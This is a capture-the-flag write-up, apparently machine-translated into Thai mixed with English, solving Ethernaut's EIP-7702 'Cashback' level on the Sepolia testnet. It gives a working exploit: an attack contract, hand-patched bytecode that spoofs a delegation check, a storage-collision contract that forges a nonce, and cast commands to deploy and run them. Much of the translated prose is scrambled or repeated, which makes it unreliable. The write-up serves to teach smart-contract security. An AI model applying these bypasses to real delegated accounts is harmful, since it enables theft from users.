ในขณะที่ขุดเจาะในความแตกต่างของ EIP-7702 ฉันทํางานผ่าน ความท้าทาย—สถานการณ์ที่ออกแบบมาเพื่อทดสอบว่านักพัฒนาจะเข้าใจผลกระทบด้านความปลอดภัยของการส่งมอบ 7702 บนพื้นผิวความท้าทายดูเรียบง่าย: โปรแกรมการคืนเงินที่รางวัลผู้ใช้สําหรับการชําระเงินในโซ่และให้รางวัล NFT ครั้งเพียงพอคะแนนจะสะสม Ethernaut Cashback Cashback ที่ยอดเยี่ยม Ethernaut Cashback เพื่อที่จะมีส่วนร่วมผู้ใช้ต้อง delegate ไปยังสัญญา Cashback โดยใช้ EIP-7702 เท่านั้นเท่านั้นที่พวกเขาสามารถโทรหา payWithCashback และเริ่มทําคะแนน ระบบดูเหมือนจะบังคับใช้การควบคุมการเข้าถึงที่เข้มงวดและผู้ปรับเปลี่ยนของมันแนะนํารูปแบบความปลอดภัยที่ชัดเจน ในความเป็นจริง delegation EIP-7702 สร้างความล้มเหลวในการรักษาความปลอดภัยที่ความท้าทายนี้ถูกออกแบบมาเพื่อพิสูจน์ การเขียนนี้ครอบคลุมวิธีที่สัญญาควรทํางานที่ข้อตกลงล้มเหลวและวิธีที่เส้นทางการใช้ประโยชน์เกิดขึ้น ความท้าทาย https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 คุณเพิ่งเข้าร่วม Cashback, ที่ร้อนแรงที่สุด crypto neobank ในเมือง พีชของพวกเขาเป็นที่น่าตื่นตาตื่นใจ: สําหรับการชําระเงินในโซ่แต่ละครั้งที่คุณทําคุณได้รับคะแนน เก็บขึ้นเพียงพอและคุณจะเข้าถึงสถานะตํานานปลดล็อคสัญลักษณ์ Super Cashback NFT ที่ต้องการ ระบบใช้ EIP-7702 เพื่ออนุญาตให้ EOAs จะสะสมเงินคืน ผู้ใช้ต้อง delegate ไปยังสัญญา Cashback เพื่อใช้ฟังก์ชั่น payWithCashback รู้สึกว่ามีประตูหลังสําหรับผู้ใช้พลังงาน สั้น ๆ ของคุณเป็นเรื่องง่าย: กลายเป็นความฝันของโปรแกรมความภักดี แม็กซ์ออกเงินคืนของคุณในสกุลเงินที่สนับสนุนและออกไปด้วยอย่างน้อยสอง Super Cashback NFT หนึ่งที่ต้องตรงกับที่อยู่ของผู้เล่นของคุณ คุณเพิ่งเข้าร่วม Cashback, ที่ร้อนแรงที่สุด crypto neobank ในเมือง พีชของพวกเขาเป็นที่น่าตื่นตาตื่นใจ: สําหรับการชําระเงินในโซ่แต่ละครั้งที่คุณทําคุณได้รับคะแนน เก็บขึ้นเพียงพอและคุณจะเข้าถึงสถานะตํานานปลดล็อคสัญลักษณ์ Super Cashback NFT ที่ต้องการ ระบบใช้ EIP-7702 เพื่ออนุญาตให้ EOAs จะสะสมเงินคืน ผู้ใช้ต้อง delegate ไปยังสัญญา Cashback เพื่อใช้ฟังก์ชั่น payWithCashback รู้สึกว่ามีประตูหลังสําหรับผู้ใช้พลังงาน สั้น ๆ ของคุณเป็นเรื่องง่าย: กลายเป็นความฝันของโปรแกรมความภักดี แม็กซ์ออกเงินคืนของคุณในสกุลเงินที่สนับสนุนและออกไปด้วยอย่างน้อยสอง Super Cashback NFT หนึ่งที่ต้องตรงกับที่อยู่ของผู้เล่นของคุณ // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } โมเดลความปลอดภัยที่ต้องการ ข้อตกลง Cashback ใช้ตัวแปลงเพื่อควบคุม calls and รหัสดําเนินการ: who where : Caller identity checks onlyEOA(): ให้แน่ใจว่าผู้โทรเป็น EOA ไม่ใช่สัญญา (msg.sender == tx.origin) onlyCashback(): ให้แน่ใจว่าผู้โทรเป็นสัญญา Cashback ด้วยตัวเอง onlyNotCashback(): ตรวจสอบให้แน่ใจว่าผู้โทรไม่ใช่สัญญา Cashback : Execution context checks : Ensures code is executing at the Cashback contract address. Functions with this modifier can only run when called directly on the contract. onlyOnCashback() notOnCashback(): ตรวจสอบให้แน่ใจว่ารหัสไม่ได้ดําเนินการที่ที่อยู่สัญญา Cashback ซึ่งหมายความว่าฟังก์ชั่นต้องทํางานผ่านทาง delegatecall ไม่ใช่โดยตรงในสัญญา In essence, the system should work like this: EOA ที่ได้รับอนุญาตเรียกร้อง payWithCashback ด้วยตัวเอง สิ่งนี้ทํางานเพราะการเรียกร้องไม่ได้เกิดขึ้นOnCashback และผ่าน onlyEOA ฟังก์ชั่น payWithCashback เชิญ Cashback.accrueCashback โดยตรงในตัวอย่าง Cashback มีสามตัวแก้ไข: onlyDelegatedToCashback ผ่านเนื่องจากผู้เชิญได้รับอนุญาตให้ Cashback, onlyOnCashback ผ่านเนื่องจากการเชิญเกิดขึ้นใน Cashback โดยตรง ตัวแก้ไข onlyUnlocked เกี่ยวกับขั้นตอน 3 the onlyUnlocked modifier calls isUnlocked on msg.sender. Since payWithCashback unlocked it, this check passes. ในระหว่างการเรียกใช้การเรียกใช้การเรียกใช้ Cashback จะใช้ Nonce ใน msg.sender ฟังก์ชั่นนี้มีสองตัวแก้ไข: OnlyCashback passes because it is called by the Cashback instance, and not OnCashback passes because this function runs in the EOA's context. สุดท้าย consumeNonce เพิ่ม nonce ในการจัดเก็บ EOA ค้นหาเสถียรภาพ ก่อนที่เราสามารถโจมตีเราต้องระบุพารามิเตอร์ที่สําคัญและที่อยู่ของความท้าทาย สกุลเงินที่สนับสนุน ข้อตกลง Cashback รองรับสกุลเงินสองสกุลเงิน ในขณะที่ไม่ได้กําหนดอย่างชัดเจนในคําอธิบายความท้าทายเราสามารถหาพวกเขาได้: สกุลเงินท้องถิ่นที่ 0xEeeeeEeeEeeEeeEeeEeeEeeEeeEeeEeeEeeeeEeeEeeEeeE Freedom Coin ( ) at FREE 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 คุณสามารถตรวจสอบได้โดยใช้ที่อยู่ระดับและตรวจสอบ และโดยการเรียก . its code FREE() ฟังก์ชั่น Super Cashback NFT คุณสามารถค้นหาที่อยู่ของมันโดยโทรหา ในกรณี Cashback ของคุณ superCashbackNFT อัตราการคืนเงินและอัตราการคืนเงินสูงสุด เพื่อคํานวณค่าใช้จ่ายที่จําเป็นสําหรับการคืนเงินสูงสุดเราต้องการสองพารามิเตอร์ ค้นหาพวกเขาโดยการโทร และ ในกรณีของคุณ ข้อตกลงใช้ สําหรับการคํานวณเปอร์เซ็นต์: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; ตัวอย่างเช่น Freedom Coin มีการคืนเงินสูงสุดของ และอัตราของ (เช่น 2%) เพื่อคํานวณค่าใช้จ่ายที่จําเป็น: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 นั่นคือ 25,000 ฟรี tokens Nonce Starts at 0. The contract mints a Super Cashback NFT when your nonce reaches , ซึ่งมีการเข้ารหัสอย่างหนักถึง 10,000 SUPERCASHBACK_NONCE การโจมตี แม้ว่าสถาปัตยกรรมที่ซับซ้อนดูไม่สามารถทําลายได้ในตอนแรก แต่มีหลายข้อกําหนดที่ผิดพลาดที่เราสามารถใช้ประโยชน์ได้ เมื่อมองไปที่สถาปัตยกรรมเราสังเกตเห็นว่าเราสามารถเรียก โดยตรง แม้ว่าตัวแก้ไขของมันจะถูกออกแบบมาเพื่อ จํากัด การเข้าถึงการโทรภายในผ่านทาง , ฟังก์ชั่นตัวเองเป็นภายนอก - ดังนั้นเราสามารถเรียกได้โดยตรงถ้าเราหลีกเลี่ยงผู้ปกครอง: accrueCashback payWithCashback We can bypass it by calling the Cashback instance directly. onlyOnCashback onlyUnlocked เนื่องจากตัวแก้ไขนี้เรียกร้อง isUnlocked บน msg.sender เราสามารถหลีกเลี่ยงได้โดยการเรียกร้องจากสัญญาที่มีฟังก์ชั่น isUnlocked ที่กลับอยู่เสมอ onlyDelegatedToCashback นี่คือความยากลําบาก. ลองพิจารณาอย่างใกล้ชิด: modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } โซ modifier พยายามที่จะตรวจสอบว่าผู้เรียกได้ delegated ไปยังสัญญา Cashback โดยการอ่านที่อยู่ delegation จากบิตโค้ดของบัญชี ด้วย EIP-7702 บัญชีที่ delegated มีบิตโค้ดพิเศษ: ติดตามด้วยที่อยู่การส่งมอบ 20 บิต ตัวแก้ไขอ่าน 20 บิตเหล่านี้ (ซึ่งคาดว่าจะเป็นที่อยู่) และตรวจสอบว่าพวกเขาสอดคล้องกับที่อยู่ตัวอย่าง Cashback onlyDelegatedToCashback 0xef0100 อะไหล่ เราต้องการบิตโค้ดของสัญญาการโจมตีของเราเพื่อดูเหมือนเครื่องหมายการส่งมอบที่ถูกต้อง โดยเฉพาะอย่างยิ่งที่อยู่ Cashback ควรปรากฏในบิต 4-23. โครงสร้างบิตโค้ด: onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. เราจะจัดการเรื่องนี้ด้วยตนเองในภายหลัง ก่อนอื่นให้เราสร้างสัญญาการโจมตี การเตรียมสัญญาการโจมตี ตามที่กล่าวถึงสัญญาของเราจะถูกเรียกคืนโดยตัวอย่าง Cashback สองครั้ง: เพื่อตรวจสอบว่ามันถูกปลดล็อคและเพื่อใช้ nonce เราต้องให้แน่ใจว่ามันถูกปลดล็อคเสมอและ return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second call would return. ดังนั้นเราจะกลับไป นอนเซสเพียงครั้งเดียว consumeNonce accrueCashback 10,000 We'll set the currencies and the Cashback address as constants. Since we're calling directly, we don't need to spend real tokens—we just need to pass the right amounts to get maximum cashback. accrueCashback สุดท้ายเราจะโอนเงินคืนทั้งหมดและ NFT ไปที่ที่อยู่ของผู้เล่นของเรา นี่คือสัญญาที่สมบูรณ์ // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } การปรับตัวบิตโค้ดเพื่อหลีกเลี่ยงการตรวจสอบการส่งมอบ Now comes the tricky part. We need to modify the bytecode เพื่อผ่าน modifier. ก่อนอื่นกรอกสัญญาของคุณ AccrueCashbackAttack onlyDelegatedToCashback หากคุณใช้ Hardhat บิตโค้ดจะอยู่ใน มี 2 คุณสมบัติ: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json บิตโค้ดคือการสร้าง (init) รหัสที่ดําเนินการครั้งเดียวในระหว่างการใช้งาน มันเรียกใช้โครงสร้างกลยุทธ์และกลับรหัส runtime ที่จะถูกเก็บไว้ในโซ่ deployedBytecode เป็นรหัส runtime ที่เก็บไว้ในโซ่หลังจากการใช้งานและดําเนินการทุกครั้งที่สัญญาถูกเรียกไว้ นี่คือสิ่งที่เราจะแก้ไข เราจะวางที่อยู่ตัวอย่าง Cashback ของเราในออฟเซ็ท โดยเฉพาะที่ ค้นหามัน. The ต่อไปหลังจาก: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> การกระโดดผ่านที่อยู่บูรณาการ เพื่อล้มเหลวที่อยู่ 20 บิตในระหว่างการทํางานปกติเราจะใช้โค้ดตัวเลือกเหล่านี้: PUSH1 เพื่อระบุเป้าหมายการกระโดด JUMP เพื่อดําเนินการ jump JUMPDEST เพื่อทําเครื่องหมายปลายทาง (จําเป็นเพื่อหลีกเลี่ยงการย้อนกลับ) ด้วยวิธีนี้เท่านั้นที่ modifier อ่าน . onlyDelegatedToCashback <CASHBACK_ADDRESS> But what offset should we jump to? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | The obvious yet incorrect assumption is โดยตรงหลังจาก ในความเป็นจริงคําตอบขึ้นอยู่กับความโชคดีที่คุณมีกับที่อยู่ตัวอย่าง Cashback ของคุณ ให้ฉันแสดงให้คุณทําไม 0x17 <CASHBACK_ADDRESS> กรณีของฉันอยู่ใน ดังนั้นสัญญาของฉันสามารถเริ่มต้นได้ดังนี้: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | However, let's see how this bytecode disassembles: Problem! The byte in our instance address is the opcode. เมื่อ EVM พบ , มันใช้ 30 บิตต่อไปนี้เป็นข้ออ้างอิงอย่างแท้จริงไม่ใช่คําแนะนํา ( ) มีตําแหน่งในออฟเซต , but it gets consumed as data for แทนที่จะดําเนินการเป็นคําสั่ง สิ่งนี้จะทําลายการไหลของบิตโค้ดทําให้เกิด เมื่อการดําเนินการบรรลุสถานที่นี้ 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our ภายนอก 30 บิตที่บริโภคโดย : JUMPDEST PUSH30 สมบูรณ์แบบ! The แสดงให้เห็นที่ 2a เรากําลังอัพเดทของเรา คําแนะนํา. เวอร์ชันสุดท้ายของฉัน: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | ปลั๊กอินนี้มี 43 บิตทั้งหมด: (2) + (1) + (20) มากกว่า (19) + (1 ) PUSH1 JUMP address padding JUMPDEST Adjusting Jump Offsets Now we can add our แต่เนื่องจากเราเพิ่มขนาดสัญญาด้วย 43 บิตเราต้องปรับแต่งทั้งหมด และ offsets by this amount. deployedBytecode JUMP JUMPI For demonstration, let's see how to do this manually. Go to , เลือก Bytecode และแทรกของคุณ . On the right, you'll see the opcodes list. Find the first ที่ [0f] ค้นหาทั้งหมด Opcodes ใช้โดย และ ด้วยค่าที่สอดคล้องกับนี้ และเพิ่มค่าของพวกเขาด้วย 43 https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST วิธีนี้ไม่สมบูรณ์แบบ - เราอาจเปลี่ยน values that aren't jump destinations. However, false positives should be rare enough for this challenge. PUSH2 ทําไม Push2 เนื่องจากขนาดสัญญาเริ่มต้นคือ 3142 bytes (0x0C46) วัตถุประสงค์การกระโดดสามารถเกิน 255 ดังนั้นเครื่องประมวลผลต้องใช้ PUSH2 เพื่อแสดงพวกเขา คอมเพรสเซอร์ใช้ PUSH2 เหมือนกันสําหรับทุกเป้าหมายกระโดดแทนที่จะผสม PUSH1 และ PUSH2 . Why PUSH2 ? เนื่องจากขนาดสัญญาเริ่มต้นคือ 3142 bytes (0x0C46) วัตถุประสงค์การกระโดดสามารถเกิน 255 ดังนั้นเครื่องประมวลผลต้องใช้ PUSH2 เพื่อแสดงพวกเขา คอมเพรสเซอร์ใช้ PUSH2 เหมือนกันสําหรับทุกเป้าหมายกระโดดแทนที่จะผสม PUSH1 และ PUSH2 . การทําเช่นนี้ด้วยตนเองจะครอบคลุมดังนั้นฉันจึงสร้างสคริปต์ที่: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST You can find the script to automate this process in the . repository repository ไม่เคยดาวน์โหลดและเรียกใช้รหัสแบบสุ่มรวมถึงนี้! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. ไม่เคยดาวน์โหลดและเรียกใช้รหัสแบบสุ่มรวมถึงนี้! ตรวจสอบและเข้าใจสิ่งที่คุณทํางานเสมอ ใช้สภาพแวดล้อมที่แยกต่างหากเช่น devcontainers หรือ VMs เมื่อทดลองใช้รหัสที่ไม่น่าเชื่อถือ การสร้าง Bytecode To deploy this contract, we need to craft creation bytecode. Let's modify the existing creation code. The ค่าใช้จ่ายในสิ่งประดิษฐ์ประกอบด้วยมันในตอนแรก นี่คือของฉัน: . ละลาย มันแสดงให้เห็น: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 This is the initial code length— . 0c46 3142 bytes เราต้องใช้ความยาวรหัสที่กําหนดเองของเรารวมถึง 43 บิตที่เราเพิ่มด้วยตนเอง สําหรับฉันนี่คือ (3185 bytes). The final creation code: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Assembly Bytecode สุดท้าย บิตโค้ดสุดท้ายเป็นเพียงโค้ดการสร้างที่เชื่อมโยงกับ . deployedBytecode การโจมตี ลองใช้ตัวบิตโค้ดของเรา จาก Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE ดําเนินการโจมตี: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY ตรวจสอบการทําธุรกรรมของคุณบน Etherscan คุณควรเห็นการทําธุรกรรมภายในที่เกี่ยวข้องกับ token cashback และโอนเงิน NFT ในขณะนี้คุณได้รับเงินคืนสูงสุดสําหรับสกุลเงินทั้งสองและได้รับ NFT หนึ่ง อย่างไรก็ตาม ID ของมันสอดคล้องกับที่อยู่ของสัญญาการโจมตีของคุณไม่ใช่ที่อยู่ของผู้เล่นของคุณ เราต้องการ NFT อีกหนึ่งที่มีที่อยู่ของคุณเป็น ID การใช้ประโยชน์จากการรบกวนการจัดเก็บข้อมูลสําหรับ NFT ที่สอง เรายังคงต้องการ NFT อีกหนึ่งที่มีที่อยู่ของเราเป็น ID เราไม่สามารถทําซ้ําวิธีการเดียวกันเช่นเดียวกับในการโจมตีก่อนหน้านี้ วิธีเดียวคือการดําเนินการจริง ตามที่ตั้งใจโดยการส่งมอบ EOA ของคุณไปยังสัญญา Cashback อย่างไรก็ตามเราไม่สามารถปลอมแปลง ฟังก์ชั่นดังนั้นเราต้องเพิ่ม nonce ของเราบางวิธีอื่น ๆ payWithCashback consumeNonce การส่งมอบ EIP-7702 ไม่สร้างการจัดเก็บที่แยกต่างหากสําหรับแต่ละสัญญาที่ส่งมอบ เมื่อ EOA ส่งมอบไปยังสัญญารหัสจะดําเนินการกับการจัดเก็บของ EOA ด้วยตัวเอง หากคุณส่งมอบไปยังสัญญาที่แตกต่างกันตามเวลาพวกเขาจะอ่านและเขียนไปยังสล็อตการจัดเก็บเดียวกันใน EOA ของคุณ โดยการใช้ประโยชน์จากความขัดแย้งของการจัดเก็บนี้เราสามารถจัดการกับ nonce เราจะสร้างสัญญาที่เขียนไปยังสล็อตการจัดเก็บเดียวกันตั้งค่า nonce เป็น 9999 จากนั้นส่งมอบอีกครั้งไปยัง Cashback และดําเนินการธุรกรรมอีกหนึ่งเพื่อเปิดตัวเหรียญ NFT โปรดทราบว่าบัญชี Cashback ใช้คําแนะนําการวางแผนการจัดเก็บข้อมูลที่กําหนดเองเพื่อวางการจัดเก็บข้อมูลในช่องเฉพาะ คุณลักษณะนี้ซึ่งนําเสนอใน Solidity 0.8.29 ช่วยให้สัญญาสามารถย้ายตัวแปรการจัดเก็บข้อมูลไปยังตําแหน่งใด ๆ contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } The เป็นตัวแปรแรกในโครงสร้าง - ตัวแปรก่อนหน้านี้ทั้งหมดเป็นเสถียรภาพและไม่สามารถเปลี่ยนแปลงได้ดังนั้นจึงไม่ใช้ช่องว่าง อย่างไรก็ตาม จาก OpenZeppelin เอา 3 สล็อตก่อน , so the actual slot is at เรารู้ว่านี่เราจะฉีด nonce ใหญ่ลงในจัดเก็บ EOA ของเรา nonce ERC1155 nonce 0x442a9...ba03 Here's the ข้อตกลงการจัดการที่ฉันใช้กับ Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } ขั้นตอนต่อไปคือการส่งมอบ EOA ของเราไปยัง Foundry ของ รองรับการทําธุรกรรมอนุญาต โดยปกติแล้วเราจะต้องขอใบอนุญาตบัญชีของเราเพิ่มเป็นหนึ่งลงนามในธุรกรรมอนุญาตแล้วส่ง แต่เนื่องจากเราส่งมันเองเราสามารถให้ที่อยู่อนุญาตได้ง่าย NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> ตอนนี้เราสามารถตั้งค่า nonce โดยใช้ โปรดจําไว้ว่าเราเรียกฟังก์ชั่นนี้ในตัวเราเองไม่ใช่ใน กรณี : injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY ขั้นตอนการโจมตีสุดท้าย กับ nonce ตอนนี้ตั้งไว้เป็น 9999 ผ่านการขัดขวางการเก็บรักษาขั้นตอนการโจมตีขั้นสุดท้ายรวมถึงการส่งมอบกลับไปยังสัญญา Cashback และดําเนินการธุรกรรมอีกหนึ่งครั้งเพื่อกระตุ้นให้ nonce ได้ถึง 10,000 ซึ่งจะกระตุ้นการทําเหมืองแร่ของ SuperCashback NFT ที่สองด้วยที่อยู่ของผู้เล่นของคุณเป็น ID ของมัน การส่งมอบบัญชีของคุณอีกครั้งไปยังตัวอย่าง Cashback ทําตามขั้นตอนเดียวกันกับ NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> The Cashback contract provides a nonce function to check your nonce. Let's verify it's 9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL 